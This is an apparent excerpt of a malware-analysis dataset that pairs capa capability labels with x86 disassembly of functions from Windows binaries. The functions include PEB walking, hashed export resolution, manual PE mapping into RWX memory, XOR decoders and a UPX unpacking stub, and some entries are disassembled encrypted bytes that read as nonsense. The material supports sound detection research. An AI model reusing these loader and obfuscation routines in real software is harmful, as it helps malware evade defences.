joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4015b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x1c], 0
jmp 0x40160a
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [eax + 0x18]
jae 0x40164e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.00401550
add esp, 4
cmp eax, dword [ebp + 0xc]
jne 0x40164c
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
mov eax, ecx
jmp 0x40164e
jmp 0x401601
mov esp, ebp
pop ebp
ret

Function at 0x401660
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
pop ebp
ret

Function at 0x4019c0
Capabilities:
Access peb ldr_data
Get process filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x20]
mov dword [ecx + 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0x14]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x20]
mov dword [ecx + 0x10], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x20]
add ecx, dword [edx + 0x28]
mov dword [ebp - 0xc], ecx
call dword [ebp - 0xc]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x401a80
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 0x10], 0
call fcn.00401660
mov dword [ebp - 0x18], eax
push 0x3d8cae3
mov eax, dword [ebp - 0x18]
push eax
call fcn.004015b0
add esp, 8
mov dword [ebp - 0x14], eax
push 0x3c82729
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.004015b0
add esp, 8
mov dword [ebp - 0xc], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x18]
mov dword [ebp - 8], eax
push 0x1c
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [ebp - 0xc]
test eax, eax
je 0x401aed
cmp dword [ebp - 0x24], 0x10000
jne 0x401ae2
jmp 0x401aed
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
jmp 0x401ac6
push 0x40
push 0x3000
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
mov eax, dword [edx + 0x50]
add eax, 1
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
mov eax, dword [edx + 0x34]
push eax
call dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x20], eax
mov edx, dword [ebp + 8]
cmp dword [edx + 0x20], 0
jne 0x401b5c
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp dword [ecx + 0xa4], 0
jne 0x401b3d
mov edx, dword [ebp + 8]
mov eax, dword [edx + 8]
mov ecx, dword [ebp + 8]
mov edx, dword [eax + 0x34]
mov dword [ecx + 0x20], edx
jmp 0x401b5c
push 0x40
push 0x3000
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
mov edx, dword [ecx + 0x50]
add edx, 1
push edx
push 0
call dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x20], eax
mov edx, dword [ebp + 8]
cmp dword [edx + 0x20], 0
jne 0x401b6a
jmp 0x401c11
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x20]
push eax
call fcn.00401f10
add esp, 0xc
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
movzx eax, word [ecx + 0x14]
lea ecx, [edx + eax + 0x18]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 0
jmp 0x401bb3
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
movzx edx, word [ecx + 6]
cmp dword [ebp - 8], edx
jae 0x401c02
mov eax, dword [ebp - 8]
imul eax, eax, 0x28
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + eax + 0x10]
push edx
mov eax, dword [ebp - 8]
imul eax, eax, 0x28
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x10]
mov ecx, dword [ebp - 4]
add edx, dword [ecx + eax + 0x14]
push edx
mov edx, dword [ebp - 8]
imul edx, edx, 0x28
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x20]
mov eax, dword [ebp - 4]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401f10
add esp, 0xc
jmp 0x401baa
mov dword [ebp - 0x10], 1
xor ecx, ecx
jne 0x401abd
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x401c20
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
cmp dword [ebp + 8], 0
jne 0x401c45
jmp 0x401caa
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x10]
mov dword [eax + 4], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x401c66
jmp 0x401caa
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x10]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 8]
cmp dword [eax], 0x4550
je 0x401c8d
jmp 0x401caa
mov ecx, dword fs:[0x30]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov dword [edx + 0x18], ecx
mov dword [ebp - 0x10], 1
cmp dword [ebp - 8], 0
je 0x401cba
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xc], 0
je 0x401cca
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x4044ab
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40a310]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004034b0
and dword [ebp - 0x14], 0
cmp dword [0x40b468], 0
mov dword [ebp - 0x18], eax
jne 0x40455e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x404606
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x404606
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40b468], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40b46c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40b470], eax
call edi
push eax
call esi
mov dword [0x40b478], eax
test eax, eax
je 0x40455e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40b474], eax
mov eax, dword [0x40b474]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4045b7
cmp dword [0x40b478], ecx
je 0x4045b7
push eax
call esi
push dword [0x40b478]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4045b7
test ebx, ebx
je 0x4045b7
call edi
test eax, eax
je 0x4045ae
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4045ae
test byte [ebp - 8], 1
jne 0x4045b7
or dword [ebp + 0x10], 0x200000
jmp 0x4045ea
mov eax, dword [0x40b46c]
cmp eax, dword [ebp - 0x18]
je 0x4045ea
push eax
call esi
test eax, eax
je 0x4045ea
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4045ea
mov eax, dword [0x40b470]
cmp eax, dword [ebp - 0x18]
je 0x4045ea
push eax
call esi
test eax, eax
je 0x4045ea
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40b468]
call esi
test eax, eax
je 0x404606
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x404608
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404816
leave
ret

Function at 0x404816
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a310]
jne 0x404820
repz ret
jmp fcn.00405669
Function at 0x4059bd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40fba0
cmp edx, dword [eax]
je 0x4059df
add eax, 8
inc ecx
cmp eax, 0x40fc30
jl 0x4059d0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40fba0]
jne 0x405b0d
mov eax, dword [0x41f1f0]
cmp eax, 1
je 0x405ae7
test eax, eax
jne 0x405a10
cmp dword [0x40faec], 1
je 0x405ae7
cmp edx, 0xfc
je 0x405b0d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x405a47
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004067c0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00405e80
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x405a8a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00405e80
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40841c
push edi
call fcn.00406940
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004067c0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004067d0
lea eax, [ebp - 0xa0]
push 0x4083fc
push eax
call fcn.004067d0
push dword [esi + 0x40fba4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004067d0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004068b0
add esp, 0x2c
pop edi
jmp 0x405b0d
lea eax, [ebp + 8]
lea esi, [esi + 0x40fba4]
push 0
push eax
push dword [esi]
call fcn.00405e80
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40501c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x405028
push 0x405024
push 0x405020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x405028]
push dword [0x405024]
push dword [0x405020]
mov dword [0x405014], esp
call fcn.0040129c
add esp, 0x18
sub ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x4153e0
Capabilities:
Encode data using xor

Disassembly:
iretd
and al, 0x6e
mov byte [0x26077480], al
pop es
jno 0x4153d0
das
xchg esi, eax
arpl word [edi + eax*2 + 0x1d0f872c], sp
cli
invalid
Function at 0x407d40
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, dword [ebp + 0x14]
mov esi, dword [ebp + 8]
mov dword [ebp - 8], 1
mov dword [ebp - 4], esi
cmp edi, 1
jne 0x407dc6
mov eax, dword [0x415aa4]
inc dword [0x415aa4]
test eax, eax
jne 0x407dc6
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x415a70], eax
mov edx, dword [ebp + 0x10]
mov dword [0x40a087], edx
mov ecx, dword [esi + 0x44]
push ecx
call fcn.00404940
pop ecx
cmp dword [0x414728], 0
je 0x407db1
call fcn.00407bc4
mov ebx, eax
test eax, eax
je 0x407db1
mov edx, dword [ebx]
cmp dword [ebx + edx*4 + 4], 0xffffffff
je 0x407db1
mov ecx, dword [ebx]
inc dword [ebx]
mov dword [ebx + ecx*4 + 4], esi
jmp 0x407dc6
xor eax, eax
lea edx, [ebp - 8]
push 0
push edx
mov dword [0x414728], eax
call fcn.00407bcc
add esp, 8
mov ecx, dword [ebp + 0x18]
push ecx
push edi
mov eax, dword [ebp + 0x10]
push eax
mov edx, dword [esi + 0x18]
push edx
call fcn.00407ed4
mov ebx, eax
test edi, edi
jne 0x407e35
test edi, edi
jne 0x407e06
dec dword [0x415aa4]
jne 0x407e06
cmp dword [0x415a70], 0
je 0x407e06
mov eax, dword [0x415a70]
push eax
call sub.KERNEL32.DLL_FreeEnvironmentStringsA
xor edx, edx
mov dword [0x415a70], edx
cmp dword [0x415aa4], 0
jne 0x407e35
cmp dword [0x414728], 0
jne 0x407e35
cmp dword [0x414718], 0
je 0x407e27
call dword [0x414718]
push 1
lea ecx, [ebp - 8]
push ecx
call fcn.00407bcc
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x414dd0
Capabilities:
Encode data using xor

Disassembly:
xor dword [ebx], edi
add ecx, 0x70215671
sub ecx, 0x879c4952
add ebx, 4
dec ecx
push ecx
pop eax
add esi, 0xaf0de676
cmp ebx, edx
jne fcn.00414dd0
dec esi
and eax, esi
dec eax
ret

Function at 0x805e8c
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x805e92
pop ebp
sub ebp, 6
sub ebp, 0x405e8c
jmp 0x805ef0
jmp 0x805ef9
mov eax, 0x405e8c
add eax, ebp
add eax, 0x93
mov ecx, 0x62e
mov edx, 0xab3d7317
xor byte [eax], dl
inc eax
dec ecx
jne 0x805f10
jmp 0x805f23
jge 0x805f77
ret 0x7d61
jge 0x805f7c
jg 0x805f3e
pop es
pop ss
pop ss
jg 0x805f43
fstp xword [ebx]
pop ss
cmp edx, dword [edi]
and al, 0xd7
inc edi
call 0x224676b9
pop ss
inc edi
pushfd
ficomp dword [esi + ebx*4 + 0x1717172b]
pop ss
pop ss
pop ss
xchg esi, eax
salc
out dx, eax
pop ss
pop ss
pop ss
adc al, 0xda
scasd eax, dword es:[edi]
adc dword [edi], edx
pop ss
pop ss
lodsd eax, dword [esi]
aas
pop ss
pop ss
pop ss
loopne 0x805f4a
adc al, 0xdf
pushfd
xchg esi, eax
sbb edx, dword [edi]
pop ss
pop ss
adc al, 0xd2
inc edi
jg 0x805f2d
and dword [esi], ebx
pop ss
jg 0x805f1f
xor byte [eax], ah
pop ss
push ss
cmp esi, dword [ebx]
jg 0x805f86
pop ss
pop ss
pop ss
call dword [edx]
pop ss
pop ss
pop ss
invalid
aas
pop ss
pop ss
pop ss
inc edx
pushfd
sti
pushfd
xchg edx, eax
pop ds
pop ss
pop ss
pop ss
pushfd
sbb byte [ebx], 0x17
pop ss
pop ss
pushfd
lcall 0xfed6, 0x17171707
adc eax, 0xd5941526
adc ebx, dword [esi + 0x18]
xchg edx, eax
jecxz 0x805f86
call 0x1c55aa8b
pop ss
pushfd
wait
xor edx, dword [ebx]
pop ss
pop ss
pop ss
jg 0x805f78
and dword [esi], ebx
pop ss
jg 0x805f6a
xor byte [eax], ah
pop ss
push ss
cmp esi, dword [ebx]
inc esi
call dword [edx]
pop ss
pop ss
pop ss
invalid
Function at 0x4065f1
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x406615
xor eax, eax
test eax, eax
je 0x406627
cmp byte [ebp + eax - 0x121], 0x5c
je 0x406627
xor ecx, ecx
jmp 0x40662a
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x40a014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x406716
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422eb4], 0
push esi
jne 0x40674d
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406727
mov dword [ecx*4 + 0x422eb0], eax
inc ecx
cmp ecx, 0x100
jl 0x406722
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40677e
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422eb0]
xor eax, esi
inc ecx
dec edx
jne 0x406760
pop edi
not eax
pop esi
ret 0xc

Function at 0x40144c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
enter 4, 0
mov esi, eax
lea edx, [eax + 1]
imul edx, dword [0x402050]
mov ebx, eax
mov eax, 0x402054
call fcn.0040139e
lea edx, [ebp - 4]
push edx
mov edx, esi
or dl, 0x40
mov edi, 0x401e27
push edx
sub edi, fcn.004015f2
push edi
xor eax, eax
push fcn.004015f2
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp - 4], 0
je 0x4014b8
mov eax, fcn.004015f2
mov ebx, esi
mov edx, edi
call fcn.0040139e
mov edx, 0x1be00
mov eax, 0x402054
mov ebx, esi
call fcn.0040126b
leave
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x401535
Capabilities:
Encode data using base64 via winapi
Initialize winsock library

Disassembly:
push ebx
push ecx
push edx
enter 0x13c, 0
push 0
push 0x202
call dword [sym.imp.WS2_32.DLL_WSAStartup]
xor eax, eax
push eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push 0x7f00
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x1c], 6
push eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
call dword [sym.imp.USER32.DLL_LoadIconA]
push 0x7f00
push 0
mov dword [ebp - 0x24], eax
call dword [sym.imp.USER32.DLL_LoadCursorA]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.USER32.DLL_RegisterClassW]
push 0
push 0
call dword [sym.imp.USER32.DLL_LoadAcceleratorsA]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push 1
push 1
lea eax, [ebp - 0x13c]
push eax
mov dword [ebp - 4], 0xa
mov byte [ebp - 0x13c], 0
call dword [sym.imp.CRYPT32.DLL_CryptBinaryToStringA]
movzx eax, byte [ebp - 0x10]
lea ebx, [eax - 0x47]
call dword [sym.imp.WS2_32.DLL_WSACleanup]
mov eax, dword [ebp - 4]
add eax, ebx
leave
pop edx
pop ecx
pop ebx
ret
Function at 0x5324e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2f000]
lea eax, [edi + 0x371c8]
push dword [eax]
mov dword [eax], 0x408f72fe
push eax
push edi
jmp 0x53250a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x532511
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x532500
mov eax, 1
add ebx, ebx
jne 0x532523
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x532534
jne 0x532553
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x532553
dec eax
add ebx, ebx
jne 0x532540
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x532518
add ebx, ebx
jne 0x53254f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5325a5
xor ecx, ecx
sub eax, 3
jb 0x53256b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5325da
sar eax, 1
mov ebp, eax
jmp 0x532576
add ebx, ebx
jne 0x532576
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x532544
inc ecx
add ebx, ebx
jne 0x532584
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x532544
add ebx, ebx
jne 0x532591
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x532586
jne 0x5325a2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x532586
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5325c4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5325b6
jmp 0x532506
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5325c4
add edi, ecx
jmp 0x532506
pop esi
pop edi
pop eax
mov dword [edi], eax
mov edi, esi
mov ecx, 0xcd2
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5325e6
cmp byte [edi], 0x13
jne 0x5325e6
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5325eb
lea edi, [esi + 0x11b000]
mov eax, dword [edi]
or eax, eax
je 0x532663
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x13f68c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x13f744]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x532618
mov ecx, edi
jns 0x532647
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x13f74c]
or eax, eax
je 0x53265d
mov dword [ebx], eax
add ebx, 4
jmp 0x532635
call dword [esi + 0x13f748]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x532694
cmp al, 0xef
ja 0x532687
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x532669
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x532676
mov ebp, dword [esi + 0x13f750]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5326c8
sub esp, 0xffffff80
jmp 0x413d91
Function at 0x40c4fc
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [0x421688]
mov ecx, eax
xor ecx, dword [esp + 4]
shr eax, 8
mov edx, 0xff
and ecx, edx
xor eax, dword [ecx*4 + 0x40f0d0]
mov ecx, dword [0x421690]
mov dword [0x421688], eax
movzx eax, al
add eax, dword [0x42168c]
imul eax, eax, 0x8088405
inc eax
mov dword [0x42168c], eax
shr eax, 0x18
xor eax, ecx
and eax, edx
shr ecx, 8
xor ecx, dword [eax*4 + 0x40f0d0]
mov eax, dword [esp + 4]
mov dword [0x421690], ecx
ret 4

Function at 0x40c58f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push dword [ebp + 0xc]
call fcn.0040c556
push 0xc
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.00408c8e
xor esi, esi
lea edx, [ebp + esi - 0xc]
call fcn.0040c4dc
xor byte [edx], al
movzx eax, byte [edx]
push eax
call fcn.0040c4fc
inc esi
cmp esi, 0xc
jl 0x40c5ae
movzx ax, byte [ebp - 1]
movzx ecx, ax
mov eax, dword [0x410550]
test byte [eax + 0x28], 2
movzx eax, byte [0x4205bf]
jne 0x40c5e9
movzx eax, byte [0x4205c7]
movzx ecx, cx
cmp ecx, eax
je 0x40c5f5
or eax, 0xffffffff
jmp 0x40c63a
mov ecx, dword [0x420568]
mov eax, ecx
cdq
cmp edx, dword [0x40f924]
push edi
jl 0x40c617
mov edx, dword [0x40f920]
jg 0x40c613
cmp eax, edx
jbe 0x40c617
mov edi, edx
jmp 0x40c619
mov edi, ecx
mov esi, dword [0x420560]
jmp 0x40c633
dec edi
call fcn.0040c4dc
xor byte [esi], al
movzx eax, byte [esi]
push eax
call fcn.0040c4fc
inc esi
test edi, edi
jne 0x40c621
xor eax, eax
pop edi
pop esi
leave
ret 8